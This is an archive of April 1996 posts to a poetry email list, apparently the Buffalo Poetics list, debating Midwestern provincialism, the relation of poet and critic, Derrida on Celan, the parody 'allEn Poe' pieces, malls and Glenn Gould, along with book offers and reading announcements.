Enough!

Dodie

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308. Henry Gould
Re: Minneapolis
Fri 12 Apr 1996

On Fri, 12 Apr 1996 10:44:07 -0700 Dodie Bellamy said:
 Eckankar used to be located out here in Menlo
>Park, but sometime in the past ten years moved to Chanhausen, which,
>reading between the lines, I'm assuming is a suburb of Minneapolis. In
>other words, according to this group, Minneapolis is the spiritual center
>of the physical world. And some of you are griping about it there!

Actually the center of the world, or omphalos, is in Hopkins, MN,
another suburb, in a backyard on Arthur St (a mid-working class
neighborhood at the time) at a certain point by a picket fence
where a 2-yr old handed a dandelion to Heidi Johnson in 1954.
Eckankar is way off (it's Chanhassen, by the way. Also home to the
Chanhassen Dinner Theater, another avant-garde showplace).
 Dodie, you're getting good at ringing some changes on the
Knock the Midwest genre, which is a pretty well-worn rut.
- Henry Gould
>Since I'm from the midwest I'm always trying to resolve something about it.
>I know I would never in a million years developed as a writer if I stayed
>there--

sometimes it takes more than a million years to develop - like the glaciers which once turned prehistoric Minnesota into an enormous lake - some of that water is still there, going to writing workshops.

> *scene a mentor told me that writing was a middle class occupation (Marxism was still very much part of the Talk back then)*

when are Neruda & Vallejo going to learn?

> *midwest is seen as this lost Eden of inside.*

they don't call it "the heartland" for nothing. - Henry Gould

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309. Michelle Roberts
Re: poet/critic
Fri 12 Apr 1996

Maria,

The going back and forth from creating mode to critical mode is a rough transition to make in like 5 minutes. It takes me anywhere from a couple hours to a whole day, and I never go from one mode of writing directly to another. I read

for a while in the middle, and usually something related to the next bit of writing -- it helps to give the mind time to shift gears. I'm not trying to say that creating and critiquing are THE SAME activity -- only that I think they are intricately interrelated -- both for some individuals and historically.

As to fear that you're braindead -- you don't seem to be -- as to braindeath after tenure: I'm still getting my doctorate and I'm not sure my head is up to speed these days either. I think that people who really think just get insecure about their ability to think because it's important to us. That you are concerned seems to show me that you're the sort of prof. who is not resting on tenured laurels, and I'm thrilled to see that.

Lastly -- I don't think that a discussion of a literary text from or withing a theoretical frame (and I really mean ANY frame) is worth beans unless it also uses or is based in a close reading. That's one of the problems that so many poets seem to have, is that without close reading, critics seem to discuss a particular text, but they offer that text none of its specificity. The specificity of the text is what close reading maintains, not the author's intentions or any of that. I personally never rely on any critic's reading of anything that doesn't use at least a semiotic close reading (in the case of visual texts, I think semiotics is close reading.) Never! Without close attention to that particular text, the critic could be talking about almost anything.

Anyway -- stop stressing and enjoy your work,
we are of the few people who get to do what
we like to do. And if you're tired, try to rest
a little.

Meaghan.

Meaghan Roberts | ... in our interpreted world...
Ph.D. Candidate - Ethics and Literature |
The University of Texas at Dallas |
[redacted] |

↑ Index

310. Bennett Cerf
thoroughbreds (is: sensitive)
Fri 12 Apr 1996

Joe Amato is right. The 19th century can't be superimposed over the 20th without certain deformations of vision occurring. The surprise, first of all, is how few, and second, how little light shows through from OUR end of the tunnel. Strictly in translation terms Joe is also right that one of the biggest shift has been in gender roles--though Joe misunderstands the problem. Poe's chivalry

(he was, after all, a Southerner) means he is much kinder to the ladies than the gents. For this reason our 20th century Poe (Poe with a differance, Edgar AllEn Poe) has sometimes had to alter the genders (we moderns having freed ourselves from the patronizing prejudice of chivalry). The _political_ content of the Poe pieces thus lies in the friction between the two versions. (See, e.g., Poe's as yet unpublished review of Joe Brainard's _I Remember_, in which an 1842 essay on John G.C. Brainard gives E.A.P. a chance to ruminate on gay pride.) Race is another matter. Poe I's Margaret Fuller may bear _some_ resemblance to Poe II's Lyn Hejinian, but his Tennyson is a distant forebear indeed to Nate Mackey. Other matters: Only an academic could POSSIBLY say that beauty is a male concern. Lastly: Poe the First was America's first serious literary critic; his work remains both acute and funny. He was also, alas, a thug (see, e.g., Poe's as-yet-untranslated Longfellow attacks). Poe II's nastiest moment is his Lew Daly review, but of course the most damning aspect of that piece is the quotes.

--Baltimore Raven

↑ Index

311. **Steve Carll**

Re: Tennis With/out A Net, Anyone?

Fri 12 Apr 1996

At 11:52 PM 4/11/96 -0500, Chris S. wrote:
> Dear Steve---
> So, white straight male #1 is more like white straight male #2 than
> either of them are to black bi female #1.....
> the implication that black can not MOVE (or COMMAND the attention)
> of white...is that what you're saying? Chris

No, not at all. I'm trying to point to a problematic in the relationship between a politics of identity and the democratic ideal. If we emphasize the commonness of our HUMANITY, and ignore color, gender, sexual orientation, class, religion, etc., democracy is possible. If we emphasize the UNIQUENESS of every human being, despite the fact that each one is the same gender as roughly half the others, the same color as X% of the others, the same orientation as Y%, etc., democracy is possible. It's when we pick a few of those factors and overidentify with them, while letting both the things we have in common with those who have diffenent factors and the things that make us unique from those who share these few factors slide that the energy needed to sustain a true democracy tends to really dissipate. It's not that black CAN'T move white, but that too many whites won't allow themselves to BE moved.

Steve

↑ Index

312. **Steve Carll**
Re: contrasimilitude
Fri 12 Apr 1996

Well, David, I have to ask, are we talking about the same book? _Wordtraces: Readings of Paul Celan_, edited by Aris Fioretos, 1994: The Johns Hopkins University Press? Because I'm not quite halfway through it, but every essay I've read so far is DRIPPING with passion for Celan's work. The passage I quoted from Derrida wasn't speciffically geared to make you attentive to Celan, it was to refute your implicit claim that philosophers have contempt for poets: Derrida says pretty clearly that philosophy and poetry are to be considered equally important as investigations of language. I don't see how any assertion of "retardation of the writer's thinking process" or attitude that "creative writer isn't as smart, is less than the profound philosopher" can be extrapolated from that. Maybe you're just looking for a different kind of idealization from the critics, one that puts the poets above the critics and doesn't tell us anything new about the poetry, just serves as an advertisement for the poetic commodity, instead of acknowledging the value of criticism as a potentially enlightening activity in its own right. Which, I hope you won't be offended by my saying so, is kind of a funny attitude for someone with such a big vocabulary. :-)

Steve

At 09:36 AM 4/12/96 CST, David Baratier wrote:
> While philosphy may "rediscover itself in the vicinity of the poetic"
> what we are talking about here is how folks such as Derrida perform
> the negative critical work of demystification instead of offering a
> positive model where assimilation (or some aspect thereof) can be
> located in culturally perserved forms of idealization. I'm talking
> about some form of a critique where a dialectic between
> demystification and idealization emerges, one where the critic allows
> the audience to understand what passion was found by one person within
> the impact of the words and the words themselves.
>
> Take the passage quoted from Derrida for example. Presently, there is
> no language in his lungs which has caused me to start being attentive
> to Celan. Similar to the rest of the book Celan is hardly mentioned or
> should I say: Celan is a prop, an artifice, a screen for Derrida to
> freely espouse on philosophy.
>
> Why then is there such offense taken when a work of criticism does
> the same thing due to the writer's "critical lens...?

>
> Because it assumes the retardation of the writer's thinking process
> and does so through a false appropriation or under a faux banner of
> support for a text which they refuse to write about. The creative
> writer isn't as smart, is less than the profound philosopher, is not
> blessed with the intellect of destruction apparent in the embedded
> criticism of furthering oneself.
>
> The overthrow of the current foundational metaphor for criticism is
> not accepting the experience of language as constrained, as equally
> poetic and philosophical.
>
>
> David Baratier
>
>

↑ Index

313. **Henry Gould**
Re: contrasimilitude
Fri 12 Apr 1996

On Fri, 12 Apr 1996 12:04:00 PDT Steve Carll said:
Derrida says pretty clearly that philosophy and
>poetry are to be considered equally important as investigations of language.

It's nice to know we can swim together with the philosophers in the same authorless, self-referential goop. Thanks, Jacques. In an essay in Nedge #1 a couple years ago, the late Henry Ghoul wrote: "The French philosophes have buried Plato's God and the Author, together, phoenix & turtle, with solemn Sorbonnean rites. We can relive that poignant moment, again and again, in Language Poetry." [Then he went on to make witty mincemeat of all other literary schools, except those of the Unread Generation] - HG

↑ Index

314. **David Baratier**
Re: contrasimilacrum
Fri 12 Apr 1996

Hey Smiley,

Sorry to hear the news about academia. I hope DK called you about the reading in Brooklyn and you agreed. Rake your strange leaves, your strange leavings, poor brooklyn soil. I do implore you to stop quoting that populist

poet just because he's from your home town. So the house was quiet and the world was calm. So the quiet was part of the meaning the mind hooked on classics, the access of perfection to the page. Perpetuating the myth of meaning's multitudinal monkified access. Nothing sucks like success.
Why not quote Byron Vassakis.

Val at blvd has Jim Tate coming down next month if you'd like to rollick with us.

Francois (La Salon) Bacon

↑ Index

315. Jordan Davis
oetry ity ook ffer
Fri 12 Apr 1996

BOOKA BOOK BOOK BOOKA

Hey! Thanks for your enthusiastic response to the book offers! I'm out of Silliman books. I have a few more Warsh triads ($15! cheap) and a couple of Damon/Lew combos ($30! double cheap).

Okay!
Jordan

↑ Index

316. Aldon L. Nielsen
Re: Smurfing U.S.A.
Fri 12 Apr 1996

"How did you feel your dead mother while you were writing that poem?"
--Bill Moyers

↑ Index

317. Matthew S Sackmann
Re: Culture with a "Q"
Fri 12 Apr 1996

On Thu, 11 Apr 1996, Jeffrey W. Timmons wrote:

> Maria,
>
> What states _do_ have magic? I nominate Nebraska, strangely enough. And
> I have a predisposition to Oregon. Living in Phoenix I can't speak for
> Arizona, but I know that there is a spirituality _somewhere_ to be found
> here. DC has some magic tucked away here in there in little

> pockets--which I might disclose if prompted--but that may be my own
> creation. Thinking of other states, and where there magic is. . . .
>
> Jeffrey Timmons
>
States with magic...hmmm... Let me list mine= Northern California (should be it's own state), Washington, and that's about it. There are a few magic cities too= 'Frisco, N'Awlins, Key West, and Quebec City.
Well, that's all i have to say.

~^~^~^

319. **Jordan Davis**
motivational training seminars
Fri 12 Apr 1996

[Then he went on to make witty mincemeat of all other literary schools, except those of the Unread Generation] - HG

___
Gee, why'd he do that?
--Jordan

PS the winner of the 'free tjanting' contest was Tim Davis, whose answer to the question, "what are those black things under seals' eyes"--"Nepalese kleenex"--was selected by the invisble power brokers who say whose work we have to read and like.

↑ Index

320. **Joe Amato**
Re: DIU piece
Fri 12 Apr 1996

---

luigi, could well be, i'm probably sensitive most to the 'straddling' you refer to... anyway, i'm eager to hear what others may think of this... no way do i see mself as 'right' here, but i do know when i'm feeling uncomfortable...

not that good writing is meant to yield only comfort or some such... but there are some unpleasantries i'd just as soon pass on... it's sometimes difficult in those poe pieces to know whether the writer(s?) isn't taking cheap shots through the persona... and i guess i'd feel more comfortable without this particular uncertainty...

oddly enuf, i never feel this way reading, say, kathy acker... go figger...

best//

joe

↑ Index

321. **Robert A Harrison**
Provincialism
Fri 12 Apr 1996

A few comments in response to the recent comments on the midwest, since I'm living in Milwaukee. There are lots of times I feel that maybe the midwest isn't the best place, but I've lived outside the midwest, in several places, most of my life, and have had the same feeling about those places. As far as poetry goes,

Woodland Pattern is a far better place to find anything I'm looking for than Beyond Baroque, SPT, or St. Marks, for example. I know there are lots more poets interested in writing similar to what I'm interested in in say places like SF or NYC, so sometimes I think I'm missing being part of a scene. But, more and more I think that the fact that I don't have to hassle as much with finances, crowding, etc., makes up for this. Besides, now that we're all in cyberspace, isn't this the most noplace of places? A question for Maria D, how many of the outsiders you've written about are from outside California and NYC?

Bob Harrison

↑ Index

322. Franklin Bruno
Elmslie
Fri 12 Apr 1996

Okay, a comment before my question this time:

A poet that should be named in any discussion of the interface between song lyrics and poems is Kenward Elmslie, who's done extensive work in the musical theater as well that has clearly informed his highly condensed, highly musical, Tin Pan O'Hara-ish poems.

So my question is this: I'm sure that I saw a long interview w/ Elmslie in some journal in the last two or three years. I thought it was -Conjunctions-, but I haven't been able to turn it up. Can anyone help with this? He's a somewhat mysterious poet to me (as in, info about him is hard to come by), and such poets usually end up being the ones I dig the deepest into.

And heck, another comment: Guided By Voices are fine, but there's something of the low-rent Surrealist about their work (see also everything Robyn Hitchcock's done since about '85). Although, they were being characterized as 'throwaway,' so why complain? Pavement have, I think, a more nuanced lyrical stance, although they're often misread by their numerous fans (who, unfortunately, all form bands of their own and put out bad singles--I've exaggerating) as being absurdists of some kind. (I'm convinced that several of their songs are about Robert Smithson.) I'm going to try to think of a few rock lyricists whom the people who are interested in such things on this list might find intriguing, but in the meantime, someone help me with Elmslie.

fjb

↑ Index

323. **Tim Wood**
Re: poetr cit boo offe
Fri 12 Apr 1996

I find this annoying to say the least. I can't keep up with the flow of what too often seems like... well anyway... it seems particularly annoying for a group this verbal and active about poetry not responding to your offer. If you'll send me a short paragraph this weekend on the Poetry Mission, I'll include a blurb in the next issue of the arts magazine I publish.

I can't make any guarantees about issues such as quality, but I believe we can roust up a few books (at least) for you. Hmm... idea. I'll try and turn it into a poster and put it up around town and talk to a few people. We'll see what happens.

Tim

> *On Fri, 12 Apr 1996 10:55:45 -0500 Jordan Davis said:*
> *Remember, it's National Poetry Month. You're supposed to buy some books that you've actually wanted to read.*
>
> *It's national poetry month, but only one person on this list of supposed poets, publishers, & po-promoters has come through after my request for book or mag donations to the Poetry Mission's new resource center on the Cranston-Prov RI line. And thanks to Schurin for reminding me that's Ted Berrigan's native home - I'm leaning toward voting for "Things to Do" as the name of the joint (after his poem "Things to Do in Providence").*
>
> *So here's to Tim Wood for the generous donation, may I return the favor someday. And to the rest of you "poets" out there, well, perhaps it's my own abrasive motormouth fault - but it's not too late to send us that old obscure journal duplicate or extra book sitting around. We will be very grateful. The assistant librarian at Hall (where the center's located) just contributed a gorgeous enclosed bookcase to hold the mags - you can add to it. Send to: The Poetry Mission, PO Box 2321, Prov RI 02906.*
> *Hope you can all come & read/perform/listen/visit someday.*
> *- Henry Gould*

in space no one can hear you scream in Dallas no one cares...

Check out the Voices new poetry website at http://www.connect.net/twood/
the Word, Dallas' monthly arts guide: http://www/connect.net/twood/word.html
poetry & video poetry ---- graphic design & database development

↑ Index

324. Sheila E. Murphy
psychic geography
Fri 12 Apr 1996

It was enormously engaging to watch FARGO'S pregnant chief of police this past Sunday.

It seems impossible to paint the Midwest in any way that people would agree upon. Or any other part of the US. But one thing DOES seem certain: Some geographic locations tend to be conducive to one's OWN physique, temperament, and God knows what else. And if I knew more about psychic geography, I'd quote chap and verse. In any case, the West is a gift for me. It's a good thing it exists. That most familiar Midwestern fragrance I grew up in never really worked for me on any count. The desert DOES. And along with my theory that one should "Stay far enough from people or places that you can still love them" parts of the world and the collective psyche are very very nice just where they are. Away!

↑ Index

325. Robert A Harrison
diu
Fri 12 Apr 1996

About DIU, I'd like to add my two cents. I think its basically pretty much a waste of time, all due respect to the editors/authors. I never get the sense from it that it goes beyond any sort of deadening cynicism, which seems to me common enough. I don't ever find it funny in the least. Quite different than something like say, EXHILE, which I think is often hilarious. And, speaking as a Panamanian-American, English my second language, and wanting as much as anyone for there to be more space for difference, I don't quite see the point in ending every issue with acknowledging "the final days of the white race." Seems to me that race based reasoning is what needs to finalized, not any particular race.

Bob Harrison

↑ Index

326. main
Re: Minnesota
Fri 12 Apr 1996

On Fri, 12 Apr 1996, William R Howe wrote:

> jeff the question in some respects is not nec weather there is a possibility
> for an avant whatsit in oh vader a tive poetics to congeal underneath the

> bly blindness but rather within the context convexness of middle amtrak hinter
> lands it is possible to perform any transfiguration of culture whatsoever
> i recently was asked to read in my home town of lubbock tx (which in itself was
> rather wierd) and was amazed by the interest i was shown in my oddness but i am
> not at all convinced that poetry for the mass micky-d mall kulturni allows us
> (as eno elevators) any kind of voice what hinterlanders see are the blynders and
> not the <<underground>> if only because of their true faith in the market and
> what the mall represents (arrival) do you look behind the toilet in a rfast food
> feeding traugh to see if it is clean
>
william--
curious: does lubbock figure into this "culture" that's to be
transfigured by "avant whatsit" poetry? i'm asking this because it seems
there is a lot of ambivalence toward the mass culture audience among the
"avante garde": on one hand, an ironic dichotomizing between "high" and
"low" audiences (while simultaneously trying to blur the high/low art
distinction in the work) and exclusionary attitude, and, on the other
hand, a feeling of responsibility to "transforming culture" en masse
(_including_ lubbock and Minnesota). i think that some of the most
powerful art and philosophy of this century have come out of this
so-called low-culture matrix; arguably, it puts the _post_ in modern. as
far as "context...of middle...lands" goes, i would argue that geography
is being superseded by more complex models of communalspace/ place (or, as Wallace
points out, experimental poetics isn't-- for good or bad --as anchored to
geography as it was, say, thirty years ago). i'm wondering whether this
exclusivity between the "avant garde" and "lubbock" is mutual. if so,
what does it mean about the role of the avant garde in "transforming
culture." _avant_, in other words, of what?
dan

↑ Index

327. **Schuchat**
Re: Provincialism
Fri 12 Apr 1996

This anti-Minnesota thread is fascinating. I have lived in the mid-West as well as up and down the east coast, but mainly the Far East (forgive the Britishism).

I can assure you that (excepting New York City, America's Hong Kong) most foreigners won't distinguish midwest from west coast from south from east coast, except for the weather and natural scenery.

doesn't it extend one to live in different places and rub/bump up against the local culture? or is that too alienated a way to live?

↑ Index

328. **Patrick Phillips**
Ziolkowski's "Our Son the Arson" is out
Fri 12 Apr 1996

Thad Ziolkowski's _Our Son the Arson_ is out from what books and is available.

Given the great changes in my life recently, I just cannot be expected to remember who responded to my earlier announcement and would like for -anyone- who is interested, in purchasing the book for $5 ($9 cover) to pass on a message (back channel) to me. I'll send the books, you send the bucks.

All what books, including my own, _Ruin_, are available from SPD - just contact Steve Dickison if you want to stock them in your stores, or you can arrange something with me directly.

Thanks putting up with duplicate requests if you've made them.

Patrick

[redacted]

↑ Index

329. **Jonathan Brannen**
Re: Culture with a "Q"
Sat 13 Apr 1996

Maria & Mike,

Fargo was reviewed on the editorial page of the Minneapolis Star-Tribune rather than in the entertainment section. The editor described the film as "immature" and suggested that it takes more than a few cheap shots at Minnesota. He (and, you bet, I mean he) then expressed sadness because of the "lack of artistic growth" demonstrated by Minnesota's "native-sons" the Coen brothers.

This reaction is so Minnesotian, that I had to share it with you. Personally, I can't wait to see the film!!!

Henry,

Balkanization of the universe? All I want is a colorized Minnesota!

Cheers,
Jonathan

↑ Index

330. **Maria Damon**
Re: Provincialism
Sat 13 Apr 1996

---

bob harrison:
two of my outsiders were frm boston, one (bob kaufman) from new orleans.
bests, maria d

↑ Index

331. **Gabrielle Welford**
May Day Poetry in L.A. (fwd)
Sat 13 Apr 1996

For any of ye so inclined... Gab.

---------- Forwarded message ----------

On May 1st at Sam's Book City in North Hollywood a poetry rant and chant will occur. It is titled "Wobblies, Pilebutts and Other Heroes: Words and Songs of Social Struggle". Featured are Robert Chambers (of the Homeless Writers Coalition), Obi (from the Peace and Justice Center), Dirk DeGeyndt (from Minds Matter), Andrew Willett (Wobbly troubador) and Miguel Sanchez (agitator). There is an open reading to follow. All are invited except bosses, scabs, and other agents of repression.

amor y solidaridad,
miguel

↑ Index

332. **Joe Amato**
Re: thoroughbreds (is: sensitive)
Sat 13 Apr 1996

---

br, or bennett, or whoever: on the matter of beauty: "beauty" is not strictly a "male concern," no, but how it's addressed certainly is (wasn't it fred turner,

whose name i saw around here recently, who penned some relatively recent and imho awful(ly) academic ideas re same?)... critique of the concept of beauty is not quite the same thing as rendering judgment based on, let's say, arbitrary and motivated 'standards'... and i have many non-academic friends who would understand same put in precisely such terms...

now as to the rest: i really don't know about poe's work "remain[ing' funny"... but i'm not going to write mself into a box here, esp. b/c there's always an interpretive way out of any such bind... i'm expressing my discomfort, again, at certain of allEn poe's judgments... it's a feeling, and it's based of course on my interpretive tendencies... but you don't sound too willing to allow for these latter... i guess you're telling me, br, or bennett, or whoever, that in fact allEn poe is juggling the distances?... i mean, the sociocultural distances twixt poe's earlier incarnations and the contemporary scene?... and that i'm to interpret 'him' as self-consciously doing so, or as a self-conscious construction that works so (another blurring)?... ergo anything that seems nasty i'm to s'pose is not nasty by poe's or his creator's (s') intentions/motivations, but is meant to problematize (there's a nice academic word), again, the aforesaid distances?...

ok... here's the catch: the interpretive given here is being given to me by you, br, or bennett, or whoever, whom i assume is (or are) poe's creator(s)... presumably i'm a little slow here...

i take it back---i'm NOT slow!... but presumably you are nonetheless providing an apologia for allEn poe, or at the very least a method or way of understanding 'his' motivations... so not only do allEn poe's creators create poe, but they argue for the effect of his discourse?... to folks like me, i mean, who don't quite 'get' it, or if they do, don't quite like what they're getting?...

honestly, now, i'm feeling a bit imposed upon, hermeneutically speaking... i mean, you can't really account for the way i'm feeling... i mean, why not bend a bit, br, or bennett, or whoever, and accept the fact that allEn poe IS leaving open the possibility of the response you're getting---from me and, judging by poetics, a few others?...

a final note: i refer you, most academically, to book three, section xvi of augustine's _on christian doctrine_... a logic of interpretation similar to what you propose is to be found there... to wit, re the scripture: "if a locution is admonitory, condemning either vice or crime or commending either utility or beneficence, it is not figurative. but if it seems to commend either vice or crime or to condemn either utility or beneficence, it is figurative"...

peace, out//

joe

↑ Index

333. **Joe Amato**
poet/critic, provincialism, etc...
Sat 13 Apr 1996

yknow, the poet/critic discussion and the provincialism discussion come together for me at this idea of place: seems to me that there ARE negative factors just about every place one goes, though what we're each willing to put up with varies... that said, i don't really see why it's beyond the pale (a phrase whose etymology comes from anglo domination of dublin, no?) to consider that there may be an entire region whose *general* political tendencies are loathsome... while at the same time allowing for a certain u.s./mall-ish homogeneity, and the fact that said loathsome politics may be regarded by said inhabitants as LESS loathsome than other such realities (such as traffic, or pollution, or whatever---again you can hear that rural-(sub)urban distinction)...

at the same time: having spent some time permitting my head to wander OFF the page and the sentence whilst composing 'criticism' (i call it that, anyway), i can assure anybody who desires such assurance that there's a real sense of freedom comes in working through discourse using writing practices that are often thought to be discrete---poetry and criticism, if you like, provided each term is construed broadly... and that this unorthodox gesture will most assuredly complicate one's publishing potential... hence complicate one's "sense of freedom," raising to the surface the economics of publishing and writing... and i mean, whether or no one writes 'for a living,' b/c a steady stream of rejections (which we've all seen, i'm sure) has some effect regardless...

now for me this latter constitutes a certain conception of place too... i mean, one's community is prefigured by place, traditionally, though perhaps virtual place is now prefiguring (or at worst, serving as a pretext for) community... once you shift or mix places around, denying a simple metaphysics of place, say, you shift, well, the where's and perhaps how's of readership... and it strikes me that (really reaching now) the politics of form may thus be seen as related to a politics of fora through this altered conception of place... put simply: when you shake & bake as on this list, you're bound to be shaking & baking regional differences that are a complex of aesthetic forms and geographic predispositions... which is not to suggest a direct link twixt geographically-discrete culture and form, or cognition (though i've always suspected same), but that there ARE nonetheless cultural gradients that shape the places of our writing practices, and that writing through *these* electronic places is bound to result in a shift in same, altering the basis for said (writing) practices... hell, just look at that word 'basis,' and all words having a foundational, subStantive 'base' (kenneth burke writes about this latter someplace or other, no?)...

too fast, ssorry, just running through...

joe

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334. Maria Damon
Re: Provincialism
Sat 13 Apr 1996

---

schuchat writes:
doesn't it extend one to live in different places and rub/bump up against
the local culture? or is that too alienated a way to live?

theoretically, i agree. in addition to growing up in new england, i've spent a lot of time in rural denmark (w/ my mother's family), a year in paris (on high school scholarship), and 7 years in palo alto (grad school) preceding these 7 years in minnesota. culturally, i resisted the move from MA to CA but ws not traumatized. going to mn i was Deeply traumatized. this may also have been cuz my department was so not what i'd expected. apparently my obvious depression was a topic of discussion among my colleagues (even wd come up at my annual review) but the few times they asked what could be done, at the departmental level, to make me happier, i'd say, whatever (forge closer bonds w/ interdisciplinary depts, foster a more intellectually suportive environment for incoming faculty, etc) i was told that this was impossible. so and so in english had a fight w/ so and so in comp lit 20 years ago, so even tho both so and sos have retired or moved to other universities, of course we can't do anything w/ comp lit, etc). meanwhile, in my attempts to find community outside the U, at my women's support group, for example, i was mistrusted cuz i was professional, single, emotional, used "big words," etc. people were afraid of me cuz i was "different." i think it's true that it can stretch one to live in other environments, but in this case, i was stretched to far, and snapped. bests, maria d

↑ Index

335. Bob Holman
(no subject)
Sat 13 Apr 1996

---

s from a couple days ago so I try again...

Subj: Michael Smith
Date: 96-04-10 01:26:48 EDT
From: Nuyopoman
To: [redacted]

"Michael Smith was on the threshold of consolidating a rapidly rising international reputation as a poet when he was murdered by supporters of the

Jamaican Labor Party on 17th August, 1983" writes Linton Kwesi Johnson on the back cover of "It A Come: Poems by Michael Smith" (Race Today Publications:London, 1986). Smith's first LP, "Mi Cyaan Believe It," had just been released by Island Records.

↑ Index

336. Bob Holman
National Poetry Month
Sat 13 Apr 1996

Subj: National Poetry Month
Date: 96-04-10 01:25:09 EDT
From: Nuyopoman
To: [redacted]

Thanks, David Bartier, for the Hass scoops. I have taught from his River of Words curriculum, and enjoyed esp. his essay re: Duncan and spawning salmon. I had a pleasant enough chat with him 3-4 weeks ago and set up an inteview for iGuide (http://ww.iGuide.com/music/poetry) which he blew off, just up and disappeared. I finally roused his assistant yesterday (three weeks later), when Ileft a message I'd composed questions _and_ answers myself ala Berrigan-Cage and wondered if Bob would like to see the thing before I publish it....

↑ Index

337. Michael Boughn
Re: Minneapolis
Sat 13 Apr 1996

I've noticed that people living in California are particulary subject to that form of imaginative disability which limits magic to some place the sun shines all the time. I've actually found magic in Buffalo, of all places. Although Lorrine Niedecker writes from Wisconsin rather than Minnesota, the magic is much the same. The problem with the mall thing is endemic to America, no? Certainly not one state or another. Maria's disenchantment seems to me deeply personal, and hence neither refutable nor generalizable. The magic, folks, is where you live. If you can't see it, maybe you're not living there.

As for _Fargo_, how is it hollow? I thought it beautifully addressed American culture without slipping into Tarrantino's slick emptiness.

Mike
[redacted]

↑ Index

338. **Michael Boughn**
More on Malls
Sat 13 Apr 1996

Glenn Gould loved to hang out in malls for their magic. Do americans know who Glenn Gould is?

Mike

↑ Index

339. **Kevin Killian**
Re: Minneapolis
Sat 13 Apr 1996

At 2:25 PM 4/13/96, Michael Boughn wrote:
>I've noticed that people living in California are particulary subject to
>that form of imaginative disability

Michael,

I know there's a word that applies to people who make these kinds of pissy generalizations--it ends with "ist" I'm sure, but I just can't figure out what that word is.

Dodie

↑ Index

340. **Mary Rising Higgins**
Re: More on Malls
Sat 13 Apr 1996

of course! one of my perfectly crazed heroes.
mrh

↑ Index

341. **Lisa Samuels**
Re: More on Malls
Sat 13 Apr 1996

hmm hmm i'd like to answer you but hmm hmm
i'm playing the piano.
ls

> *Glenn Gould loved to hang out in malls for their magic. Do americans know who Glenn Gould is?*

> *Mike*

↑ Index

342. **Aldon L. Nielsen**
Re: Abu-Jamal
Sat 13 Apr 1996

for any who are interested -- a new journal out of the Comp. Lit. department at UCLA titled _Suitcase_ includes a translation into English of the short article Derrida published in France last Summer as a plea for Mumia Abu-Jamal --

a couple of other worthwhile articles as well, though the fiction & poetry in this new mag. leaves much to be desired --

↑ Index

343. **Aldon L. Nielsen**
Re: braindeed
Sat 13 Apr 1996

Can't say that I've experienced such a startling shift while passing back and forth between the writing of verse and the writing of criticism --

On the other hand -- trying to make the shift from publishing one to publishing the other is quite likely to give you whiplash --

yours,

the injured party
(the inured partie?)

↑ Index

344. **Aldon L. Nielsen**
Re: self-reverential authorless goop
Sat 13 Apr 1996

Ah, but Pirandello swam those seas long before Foucault, as did Quixote (see Book II), as did friend Shandy, and for that matter, Homeless Homer --

six citations in search of a quote --

Tell me, Ramon Fernandez, if you can,
Why this blessed rage for authors?

↑ Index

345. Charles Alexander
Re: More on Malls
Sat 13 Apr 1996

> *Glenn Gould loved to hang out in malls for their magic. Do americans know who Glenn Gould is?*
>
> *Mike*

yes

and a good friend of mine years ago in oklahoma (to me more magical, but who can say why we think such things?) was writing a dissertation on malls as the gathering places of america, socially meaningful, what that said about us, etc. (this in 1976 or 1977, when such an idea was a little more novel than it is today). But it strikes me that at that time, and perhaps still now, part of their representation of america was right on specifically because malls did not have poetry events. Can a mall be a mall, or should it be a poetry mall? I don't have the answer to that one. The huge Mall of America in Mpls has a large amusement park (Camp Snoopy) in the middle, and as the father of two less-than-ten-year-olds, I went through the entry and to the rides several times before I ever went into a store there. I think the poetry readings should be under the large inflated snoopy dog.

with glenn gould playing

↑ Index

346. - Kim Tedrow
Re: More on Malls
Sat 13 Apr 1996

Years ago, I heard Louise Erdrich lecture on America and its "sense of place"--in essence (altho I couldn't quote verbatim), she put forth that we are essentially nomadic, going where the jobs are, and it's brand names and chain stores/restaurants that give us a sense of place--i.e. a MacDonalds in Minnesota looks just like a MacDonalds here in Maryland. I can also think of Malls in the same way.

More specifically, for example, was how brand names can also tell a lot about character's (she was speaking mostly of fiction, but I am reminded of Joe's script and his use of generic Cheerios <grin>) class, disposition, etc. The difference between a guy who orders a Pabst beer and a guy who orders a Heineken.

All this talk about regionalism and culture takes on an interesting twist in this light, at least to me. What things are the same, what things can we *really* attach to a specific place? Does it mean anything that I and "SPAM" have the

same home town? Am I now a part of the mainstream because last weekend I went into WalMart for the first time in my entire life? Or that my daughter point blank refuses to accept generic Cheerios?

Happy Saturday,
Kim
[redacted]

>>>>>and a good friend of mine years ago in oklahoma (to me more magical, but
who
can say why we think such things?) was writing a dissertation on malls as
the gathering places of america, socially meaningful, what that said about
us, etc. (this in 1976 or 1977, when such an idea was a little more novel
than it is today). <<<<<

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347. Sharon DiMaria
Re: psychic geography
Sat 13 Apr 1996

On Fri, 12 Apr 1996, Sheila E. Murphy wrote in part:

> *It seems impossible to paint the Midwest in any way that people would agree upon. Or any other part of the US. But one thing DOES seem certain: Some geographic locations tend to be conducive to one's OWN physique, temperament, and God knows what else. And if I knew more about psychic geography, I'd quote chap and verse.*

I find the relationship between psyche and landscape compelling. Barry Lopez in _Crossing Open Ground_ writes that "the interior landscape responds to the character and subtlety of an exterior landscape; the shape of the individual mind is affected by land as it is by genes." I agree with Lopez in many of the ways landscape affects the individual. However, I think it too simplistic to assume that landscape alone affects psyche and that a "cold and flat" landscape (as some have decribed Minnesota) could equate only to "bleak and banal." Would terms like turbulent, immense, mysterious, profound, extensive, & concealed be accurate as well? Don't some define the great plains as an expansive inland sea?

I have spent most of my life in the southwest and remember a time, not too long ago, when the SW was considered an intellectual desert, inhabited by naive peons (de albanil) (of course, in may case, that was true). I suspect Minnesota suffers some of the same misunderstanding.

I also understand that the rumor is being circulated that FARGO was actually filmed in Iowa (probably advanced by Garrison Keillor).

I know I'll hear from MRH on this one.

SAM

↑ Index

348. **Michael Leddy**
Re: Elmslie
Sat 13 Apr 1996

The Kenward Elmslie interview you're thinking of might be the one that appeared in New American Writing several issues back.

Michael Leddy / Charleston IL (East-Central Illinois, or, Out of Nowhere)

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349. **Schuchat**
Re: More on Malls
Sat 13 Apr 1996

On Sat, 13 Apr 1996, Michael Boughn wrote:

> *Glenn Gould loved to hang out in malls for their magic. Do americans know who Glenn Gould is?*
>
> *Mike*

Yes

↑ Index

350. **Steve Carll**
Re: More on Malls
Sat 13 Apr 1996

At 02:29 PM 4/13/96 -0400, Michael Boughn wrote:
>Glenn Gould loved to hang out in malls for their magic. Do americans
>know who Glenn Gould is?
